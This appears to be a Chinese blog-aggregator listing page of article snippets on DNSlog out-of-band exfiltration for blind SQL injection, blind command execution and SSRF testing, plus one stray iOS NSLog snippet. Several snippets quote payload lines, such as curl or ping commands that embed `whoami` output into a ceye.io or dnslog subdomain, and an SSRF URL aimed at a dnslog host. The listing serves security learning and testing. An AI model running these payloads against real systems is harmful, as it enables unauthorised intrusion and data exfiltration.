dnslog

SQL注入：DNS注入

DNS注入使用场景：在某些无法直接利用漏洞获得回显的情况下，但是目标可以发起请求，这个时候就可以通过DNSlog把想获得的数据外带出来。
软二的小忠晏·2019-11-26 22:00

黑客协会：DNSlog黑客攻击技巧

黑客协会：DNSlog黑客攻击技巧这个字符注入点经过测试，只支持bool型注入和延时注入(可多行sql语句执行)。
花无涯·2019-11-04 16:42

CTF入门web篇18命令执行无回显的判断方法及dnslog相关例题

命令执行判断命令执行可能会存在命令执行完没有回显，首先要判断命令是否有执行，可以通过三种方式来判断：延时、HTTP请求、DNS请求。1、延时无延时无回显有延时无回显通过是否延时来判断该条命令是否有执行，有延时则代表命令有执行。（”sleep3”表示延时3秒）2、HTTP请求目标机通过向公网可通信的机子发起http请求，而这个公网可通信的机子是我们可控的，则当该公网机子收到http请求就代表命令有执
anquanniu牛油果·2019-10-19 18:55

ORACLE

原文链接：https://www.cnblogs.com/-qing-/p/10952341.htmlOracle注入之带外通信和DNSLOG注入非常相似，例如和mysql中load_file()函数实现无回显注入非常相似
bylfsj·2019-10-11 18:49

Data Exfiltration with DNS in MSSQL SQLi attacks

图1文字举例说明：假定浏览器想知道域名xprp8i.dnslog.cn的IP地址。1、浏览器先向本地DNS服务器进行递归查询。2、本地域名服务器采用迭代查询。它先向一个根域名服务器查询。
StudyCat·2019-08-29 18:00

mysql注入---DNSLOG注入

0x01DNSLOG注入当我们遇到了盲注、延时注入时，页面没有具体的返回。但是盲注、延时注入需要进行大量的测试才能
nini_boom·2019-07-21 18:16

DNSlog注入

DNSlog注入原理:首先需要有一个可以配置的域名，比如：ceye.io，然后通过代理商设置域名ceye.io的nameserver为自己的服务器A，然后再服务器A上配置好DNSServer，这样以来所有
清心_3389·2019-03-29 19:00

巧用DNSlog实现无回显注入

前言测试一些网站的时候，一些注入都是无回显的，我们可以写脚本来进行盲注，但有些网站会ben掉我们的ip，这样我们可以通过设置ip代理池解决，但是盲注往往效率很低，所以产生了DNSlog注入。
FLy_鹏程万里·2019-03-01 09:40

【漏洞学习——SSRF】人人网几处站点存在SSRF漏洞

url=http://renren.22e642.dnslog.info/?data=h
FLy_鹏程万里·2019-02-22 17:19

Dnslog在SQL注入中的实战

Dnslog在SQL注入中的实战本文主要讲述Dnslog这种攻击手法在SQL注入中的实战运用，虽然网上对于Dnslog在SQL注入方面运用的文章也不少。
Qclover·2019-01-20 11:39

合理利用DNSLOG进行无回显安全测试

在实际测试一些网站的安全性问题的时候，有些测试命令执行后是无回显的，我们可以写脚本来进行盲注，但有些网站会封禁掉我们的ip地址，这样我们可以通过设置ip代理池解决，但是遇到盲注往往效率很低，所以产生了DNSlog
Tar0·2019-01-02 13:04

iOS如何搞定各种打印

基础打印NSLog(@"打印字符串：%@",name);NSLog(@"打印整形：%i",number);//或者%li;%ld;%dNSLog(@"打印字符：%c",c);NSLog(@"打印单浮点数
Smallwolf_JS·2018-12-29 10:02

Dnslog盲注

01背景知识1.什么是DNS？DNS的全称是DomainNameSystem（网络名称系统），它作为将域名和IP地址相互映射，使人更方便地访问互联网。当用户输入某一网址如www.test.com，网络上的DNSServer会将该域名解析，并找到对应的真实IP如192.168.10.11，使用户可以访问这台服务器上相应的服务。2.什么是DnslogDnslog就是存储在DNSServer上的域名信息
Ackerzy·2018-07-15 10:18

巧用DNSlog实现无回显注入

测试一些网站的时候，一些注入都是无回显的，我们可以写脚本来进行盲注，但有些网站会ban掉我们的ip，这样我们可以通过设置ip代理池解决，但是盲注往往效率很低，所以产生了DNSlog注入。具体原理如下。
weixin_30335575·2017-12-16 20:00

SQL注入奇巧淫技——利用DNSLOG获取看不到的信息（给盲注带上眼镜）

源自于i春秋sucppVK的帖子利用DNSLOG获取看不到的信息（给盲注带上眼镜），这个方法真的很厉害，所以打算亲自动手去做一下，如有侵权，还请告知，本人将会立即删除对于sql盲注，常见的方法就是二分法去一个个猜
一纸笔墨·2017-04-24 20:18

利用DNSlog技术间接判断漏洞是否存在的常用payload

0x00CommandExecutioni.*nix:curlhttp://ip.port.b182oj.ceye.io/`whoami`ping`whoami`.ip.port.b182oj.ceye.ioii.windowsping%USERNAME%.b182oj.ceye.io0x01SQLInjectionFromhttp://docs.hackinglab.cn/HawkEye-Log
nextdoor6·2016-06-13 21:46

dns带外查询（cloudeye.me的使用）

地址，然后我们才会发起对那台服务的请求，cloudeye留下了四级五级域名的控制权，所以我们能发起一个域名请求来在cloudeye留下日志信息，从将数据库的信息带出来比如：pingtest.xxxxx.dnslog.i
niexinming·2015-11-23 21:55

dns带外查询（cloudeye.me的使用）

地址，然后我们才会发起对那台服务的请求，cloudeye留下了四级五级域名的控制权，所以我们能发起一个域名请求来在cloudeye留下日志信息，从将数据库的信息带出来比如：pingtest.xxxxx.dnslog.i
niexinming·2015-11-23 21:00

Cloudeye搞怪用法命令执行篇(三个白帽演示)

三个白帽演示)喜得jdwp命令执行漏洞一枚，无回显，且无独立ip的vps反弹shell，于是@毕月乌要了cloudeye邀请码一枚cloudeye说明里证明命令执行成功一般是ping、curlccxxxx.dnslog.info
qq_27446553·2015-11-20 08:00
上一页 1 2 3 4 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他